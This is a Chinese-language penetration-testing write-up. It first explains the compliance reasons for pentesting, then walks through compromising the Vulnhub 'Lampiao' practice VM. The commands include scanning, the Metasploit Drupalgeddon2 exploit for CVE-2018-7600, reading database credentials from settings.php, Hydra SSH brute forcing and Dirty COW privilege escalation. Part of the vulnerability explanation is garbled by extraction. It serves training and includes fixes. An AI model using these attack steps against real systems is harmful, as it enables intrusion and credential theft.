信息安全等级保护的要求
2015年12月28日,银监会等部门发布的《网络借贷信息中介机构业务活动管理暂行办法(征求意见稿)》中明确要求:"网络借贷信息中介机构应按照国家网络安全相关规定和国家信息安全等级保护制度的要求,开展信息系统定级备案和等级测试。"信息安全等级保护是由等级测评机构依据国家信息安全等级保护制度规定,按照管理规范和技术标准,对信息系统安全等级保护状况进行检测评估的活动。值得关注的是,在信息安全风险评估中,渗透测试是一种常用且非常重要的手段。
渗透测试助力PCI DSS合规建设
在PCI DSS(Payment Card Industry Security Standards Council支付卡行业安全标准委员会)第 11.3中有这样的要求:至少每年或者在基础架构或应用程序有任何重大升级或修改后(例如操作系统升级、环境中添加子网络或环境中添加网络服务器)都需要执行内部和外部基于应用层和网络层的渗透测试。
ISO27001认证的基线要求
ISO27001 附录"A12信息系统开发、获取和维护"的要求,建立了软件安全开发周期,并且特别提出应在上线前参照例如OWASP标准进行额外的渗透测试 。
银监会多项监管指引中要求
依据银监会颁发的多项监管指引中明确要求,对银行的安全策略、内控制度、风险管理、系统安全等方面需要进行的渗透测试和管控能力的考察与评价。
网站为什么要做渗透测试?除了满足政策的合规性要求、提高客户的操作安全性或满足业务合作伙伴的要求。最终的目标应该是最大限度地减小业务风险。企业需要尽可能多地进行渗透测试,以保持安全风险在可控制的范围内。
网站开发过程中,会发生很多难以控制、难以发现的隐形安全问题,当这些大量的瑕疵暴露于外部网络环境中的时候,就产生了信息安全威胁。这个问题,企业可以通过定期的渗透测试进行有效防范,早发现、早解决。经过专业渗透人员测试加固后的系统会变得更加稳定、安全,测试后的报告可以帮助管理人员进行更好的项目决策,同时证明增加安全预算的必要性,并将安全问题传达到高级管理层。
网站渗透测试的目的在于,模拟攻击者对网站进行全面检测和评估,在攻击者之前找到漏洞并且进行修复,从而杜绝网站信息外泄等不安全事件。测试、检查、模拟入侵就是渗透测试。
渗透测试能够通过识别安全问题来帮助一个单位理解当前的安全状况,这使促使用户开发操作规划来减少攻击或误用的威胁。渗透测试是一种瞻性的防御措施,可以集中关注与其自身紧密相关的攻击产生的预警和通知,提升真正有意义的安全防护。
2.1.1企业
企业需要通过渗透测试获得技术安全性的验证、查找安全隐患点、安全教育
技术安全性的验证:
渗透测试作为独立的安全技术服务,其主要目的就在于验证整个目标系统的技术安全性,通过渗透测试,可在技术层面定性的分析系统的安全性。
查找安全隐患点:
渗透测试是对传统安全弱点的串联并形成路径,最终通过路径式的利用而达到模拟入侵的效果。所以,在渗透测试的整个过程中,可有效的验证每个安全隐患点的存在及其可利用程度。
2.1.2个人
安全教育
渗透测试的结果可作为内部安全意识的案例,在对相关的接口人员进行安全教育时使用。
安全技能的提升
一份专业的渗透测试报告不但可为用户提供作为案例,更可作为常见安全原理的学习参考。
本次渗透中,主要对Vulnhub靶场中Lampiao靶机的web服务器进行nmap扫描wpscan扫描、wappalyzer插件分析、webdirscan目录扫描、cewl爬取、hydra爆破、msf利用漏洞、dirtycow提权等操作,进行信息收集,漏洞探测、漏洞利用和提权,从而完成本次渗透测试。
简介:
信息收集是指黑客为了更加有效地实施渗透攻击而在攻击前或攻击过程中对目标的所有探测活动。在渗透测试过程中信息收集往往是一个重要的环节,通常我们收集到的信息越多,往往意味这被测试主机的可收攻击面越大。信息收集主要包括两个方面,主动信息搜集:与目标主机进行直接交互,从而拿到目标信息,缺点是会记录自己的操作信息。被动信息搜集:不与目标主机进行直接交互,通过搜索引擎或者社会工程等方式间接的获取目标主机的信息。
我们在此次渗透测试中首先对Lampiao靶机进行扫描,获取靶机IP地址,然后针对Lampiao靶机的地址进行端口扫描,查看开启的端口,对开启端口的页面进行访问和扫描,获得web服务的版本信息,通过一些爆破获取靶机shell权限,然后从网上收集一些关于此服务版本的漏洞,查看是否能够加以利用,进而通过shell权限,对靶机进行提权操作。
靶场信息:
地址:https://www.vulnhub.com/entry/lampiao-1,249/
发布日期:2018年7月28日
目标:得到root权限并且找到flag.txt
难度:简单
运行:VMware(NAT)
描述: Would you like to keep hacking in your own lab?Try this brand new vulnerable machine! “Lampião 1”.Get root!
靶场搭建
在Vulnhub靶场中下载靶机文件,将其导入VMware中,将其网络模式改为NAT模式,让主机为其自动分配IP地址。
3.1.1 Nmap扫描
Nmap工具主要有主机存活扫描、端口扫描、NSE。扫描分为单个目标扫描(通过指定单个IP地址/Hostname)、多个目标扫描(通过指定多个IP地址/Hostname)、列表扫描(创建一个文件将IP地址/Hostname写入其中)。
扫描192.168.29.0/24网络中活动的主机,从而获取靶机IP地址
图3-1 nmap主机扫描
通过扫描结果我们基本可以确定目标靶机的ip为192.168.29.133。
使用nmap -p 1-65535 - -sV 192.168.29.133命令进行端口扫描
图3-2 靶机端口扫描
看到靶机开启了22、80和1898端口
分别访问查看
22端口
图3-3 22端口页面
图3-4 80端口页面
1898端口
图3-5 1898端口页面
3.1.2 wpscan扫描
Wpscan是专门检查Wordpress网站漏洞的工具,它可以全面检查wp网站的漏洞,有助于我们增加网站安全防护。
图3-6 wpscan扫描
发现没有扫到网站可能存在的漏洞
3.1.3Wappalyzer浏览器分析
Wappalyzer是一款功能强大的、且非常实用的chrome网站技术分析插件,通过该插件能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数,使用时很简单,开启你要分析、检测的网页后,点选该图示即可看到网站使用的相关技术和服务。
图3-7 Wappalyzer插件分析
看到内容管理系统(CMS)为Drupal 7,编程语言为PHP5.5.9,Web服务器为Apache2.4.7,操作系统为Ubuntu,JavaScript库为jQuery1.4.4
3.1.4webdirscan目录扫描
webdirscan是一款利用python语言制作的网站目录扫描小工具,使用简单,root@kali:/dirsearch# python3 dirsearch.py -u 192.168.29.133:1898
图3-8 进行dirscan扫描
在目录中发现了robots.txt文件
查看该文件
图3-9 robots.txt文件内容
查看CHANGELOG.txt文件,发现网站的版本信息
图3-10 CHANGELOG.txt文件内容
看到cms的版本更新到Drupal 7.54,最后更新时间为2017年2月1日
3.2.1 漏洞名称
已知cms的版本更新到Drupal 7.54了,百度看看这个版本的Drupal有没有已知漏洞
图3-11 查找Drupal 7 漏洞
看到已知的Drupal 7 漏洞有CVE-2018-7600
3.2.2 漏洞概述
日前,360-CERT监测到编号为CVE-2018-7600的Drupal远程代码执行漏洞的相关细节被发布。该漏洞最早于3月28日Drupal官方披露,但未公开相关漏洞细节,360-CERT及时发布预警报告并进行跟进。2018年4月13日,checkpoint安全团队发布了一份关于此漏洞(CVE-2018-7600)相关技术细节报告;目前相关漏洞利用代码已公开。
Drupal是一款开源的PHP内容管理系统,使用广泛,全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。360-CERT认为此漏洞影响严重,且PoC可能会在短时间内被大量传播利用,建议使用Drupal开源内容管理系统的用户尽快进行更新。
3.2.3 漏洞点
Drupal Render API对于#会进行特殊处理。其中#pre_render在render之前操作数组,#post_render接收render的结果并在其添加包装,#lazy_builder用于在render过程的最后添加元素。由于对于部分#属性数组值,Drupal会通过call_user_func的方式进行处理,导致任意代码执行。
3.2.4漏洞触发流程
在core\modules\file\src\Element\ManagedFile.php中,应用使用uploadAjaxCallback对用户请求form进行处理,获取其中带有#的特殊变量
图3-12 函数的漏洞入口点
取出 $_GET[“element_parents”] 赋值给 f o r m p a r e n t s , 然 后 进 入 N e s t e d A r r a y : : g e t V a l u e 进 行 处 理 , 其 中 g e t V a l u e 函 数 就 是 将 form_parents,然后进入 NestedArray::getValue 进行处理,其中getValue函数就是将 formparents,然后进入NestedArray::getValue进行处理,其中getValue函数就是将form中的值逐层取出
图3-13 getValue函数
如果$parents为a/b/c,则结果值为123
图3-14函数调用
#lazy_builder 可选,数组值,必须有且只有两个元素,一个是回调函数名,一个回调的参数,参数只能是NULL或者标量类型,$callable变量取#lazy_builder元素标签数组下标0的值作为回调函数名,取数组下标1的值当回调方法的参数, 下面攻击载荷调用PowerShell 远程下载文件到本地保存为php网页后门。
图3-15调用PowerShell 远程下载文件到本地保存为php网页后门
图3-16 取数组下标1的值当回调方法的参数
传入的lazy_builder[0]和lazy_builder[1]的值在渲染的时候用call_user_func_array完成整个攻击过程
图3-17 攻击代码
整个漏洞的产生过程都是因为call_user_func或者call_user_func_array等回调函数导致的任意代码执行,API元素标签中可能还会触发漏洞的标签有#theme 、#create_placeholder、#theme_wrappers等等。
3.2.5漏洞利用
Drupal核心远程代码执行漏洞CVE-2018-7600
(1)使用msf
启动msf:msfconsole
图3-18 漏洞详细信息
查找漏洞CVE-2018-7600
search Drupal CVE-2018-7600
图3-19 查找漏洞
利用该漏洞,将参数设置为靶机IP地址192.168.29.133,端口设置为1898,查看参数
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.29.133
set RPORT 1898
show options
图3-23 查看靶机IP地址
查看靶机账户信息
ls /home
图3-24 账户信息
只有一个用户tiago
查看数据库信息
cat /var/www/html/sites/default/settings.php
图3-25数据库账号密码
看到数据库名和密码,‘username’ => ‘drupaluser’,‘password’ => ‘Virgulino’
提取文件中密码
cat /var/www/html/sites/default/settings.php | grep password
图3-26 提取文件密码
得到了两个密码 password、Virgulino,但是这是数据库密码
(2)使用ssh爆破
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
命令:cewl http://192.168.29.133:1898/?q=admin/ -w passwd.txt
爬虫根据指定的URL和深度进行爬取,并把内容写入名为passwd.txt的文件中
图3-26 爬取密码
使用Hydra爆破
Hydra是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装,其中Kali Linux中自带Hydra。
已经知道了用户名和密码,但是不知道是对应关系
爆破用户名为tiago,使用的密码字典为passwd.txt,攻击目标为192.168.29.133,使用模块为ssh
命令:hydra -l tiago -P passwd.txt 192.168.29.133 ssh
图3-27 爬取密码
爆破成功,用户名为tiago,密码为Virgulino,获取到靶机普通用户权限。
3.2.5 修复意见
(1)对于请求GET、POST、COOKIE 进行过滤处理、对所有带有#的数组输入进行检查和过滤。
图3-28 过滤处理
(2)升级最新版完整安装包或升级补丁包
最新版本Drupal 8.5.1,下载地址:https://www.drupal.org/project/drupal/releases/8.5.1
3.3 web渗透
登入靶机后,可以使用脏牛对靶机进行提权操作
searchsploit dirty
图3-29 查找脏牛提权shell
利用40847.cpp,使用cp进行复制到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ./
图3-30 复制40847.cpp文件
在ssh连接靶机后,使用vim创建一个dirtycow.cpp文件,将复制40847.cpp的内容粘贴过来,保存并编译
vim dirtycow.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil
命令解释:
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o 指定gcc生成的目标文件名
图3-31 创建并编译dirtycow.cpp
查看编译文件并执行
图3-32执行dcow文件
执行dcow文件提升权限,得到flag.txt
./dcow
图3-33 查看flag.txt
看到flag为9740616875908d91ddcdaa8aea3af366
参考文献:
https://www.anquanke.com/post/id/104697
https://paper.seebug.org/567/
http://blog.nsfocus.net/cve-2018-7600-analysis/